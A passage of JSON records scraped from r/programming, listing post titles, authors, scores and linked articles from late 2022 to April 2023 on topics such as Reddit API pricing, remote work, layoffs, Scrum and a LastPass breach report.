  "author": "zvone187",
  "subreddit": "programming",
  "score": 4369,
  "upvoteRatio": 0.96,
  "numComments": 900,
  "createdAt": "2023-04-18T19:19:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techcrunch.com/2023/04/18/reddit-will-begin-charging-for-access-to-its-api/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_12o3qt0",
  "url": "https://pictureperfect.ai",
  "permalink": "https://www.reddit.com/r/programming/comments/12o3qt0/i_built_an_ai_avatar_generator_app_using_nestjs/",
  "title": "I built an AI avatar generator app using NestJS and Next.js [4 months of coding]. What do you think?",
  "body": null,
  "author": "ayushsomani",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 61,
  "createdAt": "2023-04-16T10:15:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pictureperfect.ai",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_12ipnq6",
  "url": "https://getstream.io/resources/projects/twitter-clone/",
  "permalink": "https://www.reddit.com/r/programming/comments/12ipnq6/building_a_functional_twitter_clone_in_a_weekend/",
  "title": "Building a functional Twitter clone in a weekend",
  "body": null,
  "author": "Nash0x7E2",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.53,
  "numComments": 48,
  "createdAt": "2023-04-11T16:44:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://getstream.io/resources/projects/twitter-clone/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_127d68z",
  "url": "https://contextkeeper.io/blog/the-real-cost-of-an-interruption-and-context-switching/",
  "permalink": "https://www.reddit.com/r/programming/comments/127d68z/based_on_various_scientific_studies_it_takes_at/",
  "title": "Based on various scientific studies, it takes at least 10-15 minutes for programmer to get back into the \"zone\" after an interruption. There are interesting resumption strategies for interrupted programming tasks.",
  "body": null,
  "author": "piotrkarczmarz",
  "subreddit": "programming",
  "score": 2972,
  "upvoteRatio": 0.95,
  "numComments": 273,
  "createdAt": "2023-03-31T07:08:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://contextkeeper.io/blog/the-real-cost-of-an-interruption-and-context-switching/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_123cmm8",
  "url": "https://www.cyberkendra.com/2023/03/twitter-source-code-leaked-on-github.html",
  "permalink": "https://www.reddit.com/r/programming/comments/123cmm8/twitter_source_code_leaked_on_github/",
  "title": "Twitter Source Code Leaked on GitHub",
  "body": null,
  "author": "geek_noob",
  "subreddit": "programming",
  "score": 8005,
  "upvoteRatio": 0.96,
  "numComments": 718,
  "createdAt": "2023-03-27T05:29:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cyberkendra.com/2023/03/twitter-source-code-leaked-on-github.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1215iel",
  "url": "https://www.intel.com/content/www/us/en/newsroom/news/gordon-moore-obituary.html?cid=iosm&source=twitter&campid=newsroom_posts&content=100003944017761&icid=always-on&linkId=100000196297982",
  "permalink": "https://www.reddit.com/r/programming/comments/1215iel/gordon_moore_intel_cofounder_dies_at_94/",
  "title": "Gordon Moore, Intel Co-Founder, Dies at 94",
  "body": null,
  "author": "unixbhaskar",
  "subreddit": "programming",
  "score": 5749,
  "upvoteRatio": 0.97,
  "numComments": 191,
  "createdAt": "2023-03-25T01:05:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.intel.com/content/www/us/en/newsroom/news/gordon-moore-obituary.html?cid=iosm&source=twitter&campid=newsroom_posts&content=100003944017761&icid=always-on&linkId=100000196297982",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_11wenmz",
  "url": "https://twitter.com/ID_AA_Carmack/status/1637087219591659520",
  "permalink": "https://www.reddit.com/r/programming/comments/11wenmz/software_is_a_just_a_tool_to_help_accomplish/",
  "title": "\"Software is a just a tool to help accomplish something for people - many programmers never understood that. Keep your eyes on the delivered value, and don't over focus on the specifics of the tools\" - John Carmack",
  "body": null,
  "author": "piotrkarczmarz",
  "subreddit": "programming",
  "score": 8282,
  "upvoteRatio": 0.96,
  "numComments": 623,
  "createdAt": "2023-03-20T10:08:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/ID_AA_Carmack/status/1637087219591659520",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_11rf7ly",
  "url": "https://www.engadget.com/reddit-suffers-major-outage-due-to-internal-systems-issue-210532449.html",
  "permalink": "https://www.reddit.com/r/programming/comments/11rf7ly/reddit_suffers_major_outage_due_to_internal/",
  "title": "Reddit suffers ‘major outage’ due to internal systems issue",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3194,
  "upvoteRatio": 0.92,
  "numComments": 409,
  "createdAt": "2023-03-14T23:05:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.engadget.com/reddit-suffers-major-outage-due-to-internal-systems-issue-210532449.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_11kj91n",
  "url": "https://discord.com/blog/how-discord-stores-trillions-of-messages",
  "permalink": "https://www.reddit.com/r/programming/comments/11kj91n/how_discord_stores_trillions_of_messages/",
  "title": "How Discord Stores Trillions of Messages",
  "body": null,
  "author": "Pink401k",
  "subreddit": "programming",
  "score": 4636,
  "upvoteRatio": 0.98,
  "numComments": 473,
  "createdAt": "2023-03-07T00:20:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://discord.com/blog/how-discord-stores-trillions-of-messages",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_11gwypy",
  "url": "https://www.techtarget.com/searchhrsoftware/news/365531979/Nearly-40-of-software-engineers-will-only-work-remotely",
  "permalink": "https://www.reddit.com/r/programming/comments/11gwypy/nearly_40_of_software_engineers_will_only_work/",
  "title": "Nearly 40% of software engineers will only work remotely",
  "body": null,
  "author": "Discovensco",
  "subreddit": "programming",
  "score": 7535,
  "upvoteRatio": 0.96,
  "numComments": 1291,
  "createdAt": "2023-03-03T10:03:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.techtarget.com/searchhrsoftware/news/365531979/Nearly-40-of-software-engineers-will-only-work-remotely",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_11f18av",
  "url": "https://github.com/microsoft/vscode-docs/issues/6006",
  "permalink": "https://www.reddit.com/r/programming/comments/11f18av/upvote_this_github_issue_vscode_marketplace/",
  "title": "Upvote this GitHub issue. VSCode Marketplace should be open source, or at least documented. That will only mean good things to us (developers).",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 14,
  "createdAt": "2023-03-01T11:20:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/microsoft/vscode-docs/issues/6006",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_119yovz",
  "url": "https://www.gkbrk.com/2016/05/hotel-music/",
  "permalink": "https://www.reddit.com/r/programming/comments/119yovz/reverse_engineering_a_mysterious_udp_stream_in_my/",
  "title": "Reverse Engineering a mysterious UDP stream in my hotel",
  "body": null,
  "author": "Witty-Play9499",
  "subreddit": "programming",
  "score": 4961,
  "upvoteRatio": 0.95,
  "numComments": 301,
  "createdAt": "2023-02-23T14:13:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gkbrk.com/2016/05/hotel-music/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_115j300",
  "url": "https://www.theinsaneapp.com/2023/02/voice-ai-stole-open-source-code.html",
  "permalink": "https://www.reddit.com/r/programming/comments/115j300/voiceai_stole_open_source_code_banned_the/",
  "title": "Voice.AI Stole Open Source Code, Banned The Developer Who Informed Them About This, From Discord Server",
  "body": null,
  "author": "vadhavaniyafaijan",
  "subreddit": "programming",
  "score": 5472,
  "upvoteRatio": 0.96,
  "numComments": 420,
  "createdAt": "2023-02-18T16:27:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theinsaneapp.com/2023/02/voice-ai-stole-open-source-code.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_111k9aq",
  "url": "https://github.com/zloirock/core-js/blob/master/docs/2023-02-14-so-whats-next.md",
  "permalink": "https://www.reddit.com/r/programming/comments/111k9aq/corejs_maintainer_so_whats_next/",
  "title": "core-js maintainer: “So, what’s next?”",
  "body": null,
  "author": "jdf2",
  "subreddit": "programming",
  "score": 4424,
  "upvoteRatio": 0.96,
  "numComments": 943,
  "createdAt": "2023-02-13T21:16:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/zloirock/core-js/blob/master/docs/2023-02-14-so-whats-next.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_110mj6p",
  "url": "https://www.jwz.org/blog/2023/02/code-with-swearing-is-better-code/",
  "permalink": "https://www.reddit.com/r/programming/comments/110mj6p/open_source_code_with_swearing_in_the_comments_is/",
  "title": "Open source code with swearing in the comments is statistically better than that without",
  "body": null,
  "author": "humdaaks_lament",
  "subreddit": "programming",
  "score": 5574,
  "upvoteRatio": 0.95,
  "numComments": 345,
  "createdAt": "2023-02-12T18:26:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.jwz.org/blog/2023/02/code-with-swearing-is-better-code/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_10yturx",
  "url": "https://www.bleepingcomputer.com/news/microsoft/windows-terminal-is-now-the-default-windows-11-22h2-console/",
  "permalink": "https://www.reddit.com/r/programming/comments/10yturx/windows_terminal_is_now_the_default_windows_11/",
  "title": "Windows Terminal is now the default Windows 11 22H2 console",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3084,
  "upvoteRatio": 0.96,
  "numComments": 469,
  "createdAt": "2023-02-10T14:50:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bleepingcomputer.com/news/microsoft/windows-terminal-is-now-the-default-windows-11-22h2-console/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_10xwv72",
  "url": "https://about.gitlab.com/blog/2023/02/09/gitlab-news/",
  "permalink": "https://www.reddit.com/r/programming/comments/10xwv72/gitlab_to_lay_off_7_of_staff/",
  "title": "Gitlab to lay off 7% of staff",
  "body": null,
  "author": "omko",
  "subreddit": "programming",
  "score": 3052,
  "upvoteRatio": 0.95,
  "numComments": 515,
  "createdAt": "2023-02-09T15:01:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://about.gitlab.com/blog/2023/02/09/gitlab-news/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_10ssyig",
  "url": "https://www.npmjs.com/package/rettiwt-api",
  "permalink": "https://www.reddit.com/r/programming/comments/10ssyig/i_created_an_api_to_fetch_data_from_twitter/",
  "title": "I created an API to fetch data from Twitter without creating any developer account or having rate limits. Feel free to use and please share your thoughts!",
  "body": null,
  "author": "NEGMatiCO",
  "subreddit": "programming",
  "score": 3853,
  "upvoteRatio": 0.94,
  "numComments": 432,
  "createdAt": "2023-02-03T19:32:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.npmjs.com/package/rettiwt-api",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_10q3aoa",
  "url": "https://www.theregister.com/2023/01/27/oracle_java_licensing_change/",
  "permalink": "https://www.reddit.com/r/programming/comments/10q3aoa/oracle_changing_java_licensing_from_perprocessor/",
  "title": "Oracle changing Java licensing from per-processor to a multiplier of employee headcount - costs could go up singificantly",
  "body": null,
  "author": "KingStannis2020",
  "subreddit": "programming",
  "score": 3530,
  "upvoteRatio": 0.97,
  "numComments": 747,
  "createdAt": "2023-01-31T16:24:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2023/01/27/oracle_java_licensing_change/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_10jj8fo",
  "url": "https://casetext.com/case/zak-v-facebook-inc-7/",
  "permalink": "https://www.reddit.com/r/programming/comments/10jj8fo/code_i_wrote_20_years_ago_is_center_of_a_software/",
  "title": "Code I wrote 20 years ago is center of a software patent lawsuit against Facebook",
  "body": null,
  "author": "gruelurks69",
  "subreddit": "programming",
  "score": 3025,
  "upvoteRatio": 0.97,
  "numComments": 372,
  "createdAt": "2023-01-23T18:14:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://casetext.com/case/zak-v-facebook-inc-7/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_10ijwhf",
  "url": "https://vadimkravcenko.com/shorts/being-an-amateur/",
  "permalink": "https://www.reddit.com/r/programming/comments/10ijwhf/being_an_amateur_in_it/",
  "title": "Being an Amateur in IT",
  "body": null,
  "author": "bndrz",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 13,
  "createdAt": "2023-01-22T13:40:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vadimkravcenko.com/shorts/being-an-amateur/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_104nlf2",
  "url": "https://quick-lint-js.com/blog/cpp-vs-rust-build-times/",
  "permalink": "https://www.reddit.com/r/programming/comments/104nlf2/is_coding_in_rust_as_bad_as_in_c/",
  "title": "Is coding in Rust as bad as in C++?",
  "body": null,
  "author": "rnmkrmn",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.53,
  "numComments": 67,
  "createdAt": "2023-01-06T07:05:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://quick-lint-js.com/blog/cpp-vs-rust-build-times/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zxj64c",
  "url": "http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/",
  "permalink": "https://www.reddit.com/r/programming/comments/zxj64c/stop_using_jwt_for_sessions/",
  "title": "Stop using JWT for sessions",
  "body": null,
  "author": "Neurprise",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.55,
  "numComments": 145,
  "createdAt": "2022-12-28T19:54:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zwjxsf",
  "url": "https://devinterrupted.substack.com/p/the-best-solution-to-burnout-weve",
  "permalink": "https://www.reddit.com/r/programming/comments/zwjxsf/dev_burnout_drastically_decreases_when_your_team/",
  "title": "\"Dev burnout drastically decreases when your team actually ships things on a regular basis. Burnout primarily comes from toil, rework and never seeing the end of projects.\" This was by far the the best lesson I learned this year and finally tracked down the the talk it was from. Hope it helps.",
  "body": null,
  "author": "Difficult_Pop_7689",
  "subreddit": "programming",
  "score": 6537,
  "upvoteRatio": 0.96,
  "numComments": 303,
  "createdAt": "2022-12-27T16:45:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devinterrupted.substack.com/p/the-best-solution-to-burnout-weve",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zwbq59",
  "url": "https://medium.com/agents-and-robots/the-bitter-truth-python-3-11-vs-cython-vs-c-performance-for-simulations-babc85cdfef5",
  "permalink": "https://www.reddit.com/r/programming/comments/zwbq59/the_bitter_truth_python_311_vs_cython_vs_c/",
  "title": "The Bitter Truth: Python 3.11 vs Cython vs C++ Performance for Simulations",
  "body": null,
  "author": "pmz",
  "subreddit": "programming",
  "score": 103,
  "upvoteRatio": 0.58,
  "numComments": 193,
  "createdAt": "2022-12-27T09:30:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/agents-and-robots/the-bitter-truth-python-3-11-vs-cython-vs-c-performance-for-simulations-babc85cdfef5",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zt5ehx",
  "url": "https://arstechnica.com/information-technology/2022/12/lastpass-says-hackers-have-obtained-vault-data-and-a-wealth-of-customer-info/",
  "permalink": "https://www.reddit.com/r/programming/comments/zt5ehx/lastpass_users_your_info_and_password_vault_data/",
  "title": "LastPass users: Your info and password vault data are now in hackers’ hands",
  "body": null,
  "author": "ThunderWriterr",
  "subreddit": "programming",
  "score": 4027,
  "upvoteRatio": 0.97,
  "numComments": 763,
  "createdAt": "2022-12-23T03:37:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/information-technology/2022/12/lastpass-says-hackers-have-obtained-vault-data-and-a-wealth-of-customer-info/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zr9tsr",
  "url": "https://devinterrupted.substack.com/p/the-day-1-decisions-that-make-or",
  "permalink": "https://www.reddit.com/r/programming/comments/zr9tsr/we_all_use_products_that_are_amazing_when_the/",
  "title": "“We all use products that are amazing when the company is like 5 devs, just building what makes sense. They grow & through failures of leadership, they end up with bloated product teams that don't understand the work of developers.\" Former GitHub VP pulling no punches in recent pod on state of tech",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3223,
  "upvoteRatio": 0.95,
  "numComments": 384,
  "createdAt": "2022-12-21T04:08:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devinterrupted.substack.com/p/the-day-1-decisions-that-make-or",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zotsua",
  "url": "https://open.substack.com/pub/ageling/p/scrum-teams-are-often-coached-to-death-while-the-problems-are-with-management-60ac93bb0c1c?r=18ih73&utm_campaign=post&utm_medium=web",
  "permalink": "https://www.reddit.com/r/programming/comments/zotsua/scrum_teams_are_often_coached_to_death_while_the/",
  "title": "Scrum Teams are often Coached to Death, while the Problems are With Management",
  "body": null,
  "author": "Ageling_WJ",
  "subreddit": "programming",
  "score": 3099,
  "upvoteRatio": 0.95,
  "numComments": 460,
  "createdAt": "2022-12-18T08:26:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/ageling/p/scrum-teams-are-often-coached-to-death-while-the-problems-are-with-management-60ac93bb0c1c?r=18ih73&utm_campaign=post&utm_medium=web",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zkj6pb",
  "url": "https://devinterrupted.substack.com/p/treating-devs-like-human-beings-a",
  "permalink": "https://www.reddit.com/r/programming/comments/zkj6pb/there_should_never_be_coding_exercises_in/",
  "title": "“There should never be coding exercises in technical interviews. It favors people who have time to do them. Disfavors people with FT jobs and families. Plus, your job won’t have people over your shoulder watching you code.” My favorite hot take from a panel on 'Treating Devs Like Human Beings.'",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 8980,
  "upvoteRatio": 0.91,
  "numComments": 1311,
  "createdAt": "2022-12-13T02:07:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devinterrupted.substack.com/p/treating-devs-like-human-beings-a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zhpkk1",
  "url": "https://stackoverflow.com/help/gpt-policy",
  "permalink": "https://www.reddit.com/r/programming/comments/zhpkk1/stackoverflow_to_ban_chatgpt_generated_answers/",
  "title": "StackOverflow to ban ChatGPT generated answers with possibly immediate suspensions of up to 30 days to users without prior notice or warning",
  "body": null,
  "author": "3urny",
  "subreddit": "programming",
  "score": 6701,
  "upvoteRatio": 0.97,
  "numComments": 795,
  "createdAt": "2022-12-10T10:50:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://stackoverflow.com/help/gpt-policy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zg6ec9",
  "url": "https://devinterrupted.substack.com/p/where-did-all-the-focus-time-go-dissecting",
  "permalink": "https://www.reddit.com/r/programming/comments/zg6ec9/til_that_developers_in_larger_companies_spend_25/",
  "title": "TIL That developers in larger companies spend 2.5 more hours a week/10 more hours a month in meetings than devs in smaller orgs. It's been dubbed the \"coordination tax.\"",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 4573,
  "upvoteRatio": 0.95,
  "numComments": 502,
  "createdAt": "2022-12-08T18:06:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devinterrupted.substack.com/p/where-did-all-the-focus-time-go-dissecting",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_zbnqk3",
  "url": "https://www.marketwatch.com/story/more-than-half-of-ceos-consider-workforce-reductions-over-the-next-6-months-and-remote-workers-may-be-the-first-go-to-11664907913",
  "permalink": "https://www.reddit.com/r/programming/comments/zbnqk3/over_50_of_ceos_say_theyre_considering_cutting/",
  "title": "Over 50% of CEOs say they’re considering cutting jobs over the next 6 months — and remote workers may be the first to go",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.53,
  "numComments": 84,
  "createdAt": "2022-12-03T19:03:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.marketwatch.com/story/more-than-half-of-ceos-consider-workforce-reductions-over-the-next-6-months-and-remote-workers-may-be-the-first-go-to-11664907913",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_z3t1zl",
  "url": "https://overemployee.blog/my-overemployment-story/",
  "permalink": "https://www.reddit.com/r/programming/comments/z3t1zl/til_theres_devs_out_there_doing_multiple_remote/",
  "title": "TIL theres devs out there doing multiple remote jobs at the same time",
  "body": null,
  "author": "mmagod10",
  "subreddit": "programming",
  "score": 3316,
  "upvoteRatio": 0.87,
  "numComments": 1058,
  "createdAt": "2022-11-24T19:54:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://overemployee.blog/my-overemployment-story/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_yzhpif",
  "url": "https://sebastiancarlos.medium.com/how-i-quit-my-programmer-job-to-become-a-chicken-b733c20680b1?sk=32c11fbd8935fc8a604ef83afa9bc680",
  "permalink": "https://www.reddit.com/r/programming/comments/yzhpif/how_i_quit_my_programmer_job_to_become_a_chicken/",
  "title": "How I Quit my Programmer Job to Become a Chicken",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3057,
  "upvoteRatio": 0.92,
  "numComments": 176,
  "createdAt": "2022-11-19T17:52:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sebastiancarlos.medium.com/how-i-quit-my-programmer-job-to-become-a-chicken-b733c20680b1?sk=32c11fbd8935fc8a604ef83afa9bc680",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_yz4gc0",
  "url": "https://www.youtube.com/watch?v=y8OnoxKotPQ",
  "permalink": "https://www.reddit.com/r/programming/comments/yz4gc0/microservices_its_because_of_the_way_our_backend/",
  "title": "Microservices: it's because of the way our backend works",
  "body": null,
  "author": "zxyzyxz",
  "subreddit": "programming",
  "score": 3531,
  "upvoteRatio": 0.96,
  "numComments": 468,
  "createdAt": "2022-11-19T05:26:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=y8OnoxKotPQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ytvk90",
  "url": "https://medium.com/serious-scrum/10-reasons-why-you-are-doomed-to-fail-with-scrum-d130953c4e4f",
  "permalink": "https://www.reddit.com/r/programming/comments/ytvk90/10_reasons_why_you_are_doomed_to_fail_with_scrum/",
  "title": "10 Reasons Why You Are Doomed to Fail With Scrum",
  "body": null,
  "author": "Ageling_WJ",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 33,
  "createdAt": "2022-11-13T08:16:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/serious-scrum/10-reasons-why-you-are-doomed-to-fail-with-scrum-d130953c4e4f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ytixz3",
  "url": "https://www.russellbeattie.com/notes/posts/why-is-markdown-popular.html",
